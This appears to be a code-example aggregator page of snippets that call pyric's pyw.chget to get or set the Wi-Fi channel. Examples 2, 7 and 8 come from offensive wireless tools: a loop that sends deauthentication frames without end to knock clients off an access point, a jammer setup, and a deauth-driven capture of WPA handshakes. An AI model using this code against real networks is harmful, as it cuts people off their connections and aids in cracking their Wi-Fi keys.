Esempio n. 1
0
def check_chset(interface: Union[str, pyw.Card], channel: int) -> pyw.Card:
    interface = _get_card(interface)

    if pyw.chget(interface) != channel:
        pyw.chset(interface, channel)

    return interface
Esempio n. 2
0
    def run(self, args, cmd):
        self.cmd = cmd

        with db_session:
            bss = cmd.select_bss(args.ssid, args.bssid, args.client)

            if bss:
                if not args.bssid:
                    args.bssid = bss.bssid

                if args.channel is None:
                    args.channel = bss.channel

        if args.bssid is None:
            cmd.perror("BSSID is missing, and couldn't be obtained from the recon db.")
        elif args.channel is None:
            cmd.perror("Channel is missing, and couldn't be obtained from the recon db.")
        else:
            interface = set_monitor_mode(args.iface)

            if args.channel > 0:
                check_chset(interface, args.channel)
            else:
                args.channel = pyw.chget(interface)

            deauth_frame = RadioTap() / Dot11(addr1=args.client, addr2=args.bssid, addr3=args.bssid) / Dot11Deauth(
                reason="class3-from-nonass")
            args.num_frames = "infinite" if args.num_frames <= 0 else args.num_frames * 64

            if compare_macs(args.client, BROADCAST_MAC):
                cmd.pfeedback(
                    "[i] Sending {} deauth frames to all clients from AP {} on channel {}...".format(args.num_frames,
                                                                                                     args.bssid,
                                                                                                     args.channel))
            else:
                cmd.pfeedback(
                    "[i] Sending {} deauth frames to client {} from AP {} on channel {}...".format(args.num_frames,
                                                                                                   args.client,
                                                                                                   args.bssid,
                                                                                                   args.channel))

            if args.num_frames == "infinite":
                self.inf_running = True
                prev_sig_handler = signal.signal(signal.SIGINT, self.sig_int_handler)

                cmd.pfeedback("[i] Press ctrl-c to stop.")

                while self.inf_running:
                    try:
                        sendp(deauth_frame, iface=args.iface, count=64, inter=0.002)
                    except:
                        pass

                    sleep(0.5)

                signal.signal(signal.SIGINT, prev_sig_handler)
            else:
                sendp(deauth_frame, iface=args.iface, count=args.num_frames, inter=0.002)
Esempio n. 3
0
 def test_chsetget(self):
     pyw.down(self.card)
     pyw.modeset(self.card, "monitor")
     pyw.up(self.card)
     self.assertEqual(None, pyw.chset(self.card, 1))
     self.assertIsInstance(pyw.chget(self.card), int)
     pyw.down(self.card)
     pyw.modeset(self.card, "managed")
     pyw.up(self.card)
Esempio n. 4
0
 def test_chsetget(self):
     pyw.down(self.card)
     pyw.modeset(self.card,'monitor')
     pyw.up(self.card)
     self.assertEqual(None,pyw.chset(self.card,1))
     self.assertIsInstance(pyw.chget(self.card),int)
     pyw.down(self.card)
     pyw.modeset(self.card,'managed')
     pyw.up(self.card)
    def get_channel(self, ifaceName, **kwargs):
        """
        Get the current used Rf channel number according to IEEE 802.11 spec
        :param ifaceName: name of interface
        :param kwargs: optional arg
        :return: the channel number
        """

        self.log.info('Get channel for {}:{}'.format(ifaceName, self.device))
        w0 = self.get_wifi_chard(ifaceName)  # get a card for interface
        self.channel = pyw.chget(w0)
        return self.channel
Esempio n. 6
0
def set_monitor_mode(interface):
    """
    Set interface in mode monitor an set channel 1
    """
    interface = pyw.getcard(interface)

    if pyw.modeget(interface) != "monitor":
        if pyw.isup(interface):
            pyw.down(interface)

        pyw.modeset(interface, "monitor")

    if not pyw.isup(interface):
        pyw.up(interface)

    if pyw.chget(interface) != 1:
        pyw.chset(interface, 1)
Esempio n. 7
0
    def __init__(self, args):
        self.mPackets = 0

        self.clients = []
        self.APs     = []

        self.firstPass = True

        self.mIgnoreList = [
            'ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:',
            '01:80:c2:00:00:00', '01:00:5e:', '01:00:0c'] + \
            [pyw.macget(pyw.getcard(x)) for x in pyw.winterfaces()] + \
            [x for x in args['skip'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())]

        # Args
        self.mInterface = args["interface"]
        self.mFrequency = args["frequency"]
        self.mChannels  = args["channel"]
        self.mKill      = args["kill"]
        self.mDirected  = args["directed"]
        self.mTargets   = [x for x in args['targets'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())]
        self.mMaximum   = int(args["maximum"])
        self.mPackets   = int(args["pkts"])
        self.mTimeout   = float(args["timeout"])
        self.mChannel   = pyw.chget(pyw.getcard(self.mInterface))
        self.mDetailed  = args['details']
        self.mLoglevel  = args['loglevel']
        self.mSSID      = args['ssid']

        LogLevels={'info': logging.INFO, 'error': logging.ERROR, 'debug': logging.DEBUG, 'critical': logging.CRITICAL}
        logging.basicConfig(
            level=LogLevels[self.mLoglevel],
            format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
            datefmt='%Y/%m/%d %H:%M:%S')

        if self.mFrequency == "2":
            self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12)]

            if self.mChannels == []:
                self.mChannels = list(range(1, 12))

        elif self.mFrequency == "5":
            self.mChannels = [int(x) for x in self.mChannels if int(x) in five_hertz]

            if self.mChannels == []:
                self.mChannels = five_hertz

        else:
            self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12) or int(x) in five_hertz]

            if self.mChannels == []:
                self.mChannels = list(range(1, 12)) + five_hertz

        if pyw.modeget(self.mInterface) != 'monitor':
            logging.debug('Enabling monitor mode on interface '+self.mInterface)
            start_mon_mode(self.mInterface)

        if self.mKill:
            os.system('pkill NetworkManager')

        conf.iface = self.mInterface

        return
Esempio n. 8
0
    def run(self, args, cmd):
        with db_session:
            bss = cmd.select_bss(args.ssid, args.bssid, args.client)

            if bss:
                if not ("WPA" in bss.encryption_types
                        and "PSK" in bss.authn_types):
                    cmd.perror(
                        "[!] Selected AP encryption mode is not WPA[2]-PSK.")

                if not args.bssid:
                    args.bssid = bss.bssid

                if args.channel is None:
                    args.channel = bss.channel

        if args.bssid is None:
            cmd.perror(
                "BSSID is missing, and couldn't be obtained from the recon db."
            )
        elif args.channel is None:
            cmd.perror(
                "Channel is missing, and couldn't be obtained from the recon db."
            )
        else:
            interface = set_monitor_mode(args.iface)

            if args.channel > 0:
                check_chset(interface, args.channel)
            else:
                args.channel = pyw.chget(interface)

            args.all_clients = compare_macs(args.client, BROADCAST_MAC)
            self.clear_caches()
            self.args = args
            self.cmd = cmd

            if not args.no_deauth:
                script_args = argparse.Namespace()
                script_args.deauth_args = to_args_str({
                    "iface": args.iface,
                    "bssid": args.bssid,
                    "channel": 0,
                    "client": args.client
                    # "num-frames": 1
                })

                super().run(script_args, cmd)
            else:
                cmd.pfeedback("[i] Disabled client(s) deauthentication.")

            if args.all_clients:
                cmd.pfeedback(
                    "[i] Monitoring for {} secs on channel {} WPA handshakes between all clients and AP {}..."
                    .format(args.sniff_time, args.channel, args.bssid))
            else:
                cmd.pfeedback(
                    "[i] Monitoring for {} secs on channel {} WPA handshakes between client {} and AP {}..."
                    .format(args.sniff_time, args.channel, args.client,
                            args.bssid))
            sniff(iface=args.iface,
                  prn=self.handle_packet,
                  timeout=args.sniff_time,
                  store=False,
                  stop_filter=lambda x: self.complete_handshake)
 def get_channel(self):
     return pyw.chget(self.card)
Esempio n. 10
0
 def get_channel(self):
     try:
         return pyw.chget(self.card)
     except:
         return None
Esempio n. 11
0
def get_channel(interface):
    return pyw.chget(pyw.getcard(interface))
 def get_channel(self):
     try:
         return pyw.chget(self.card)
     except:
         return None
Esempio n. 13
0
 def get_current_channel(self):
     w0 = pyw.getcard(self.iface)
     return pyw.chget(w0)
Esempio n. 14
0
def gchan(card):
    try:
        return pyw.chget(card)
    except pyric.error:
        return 0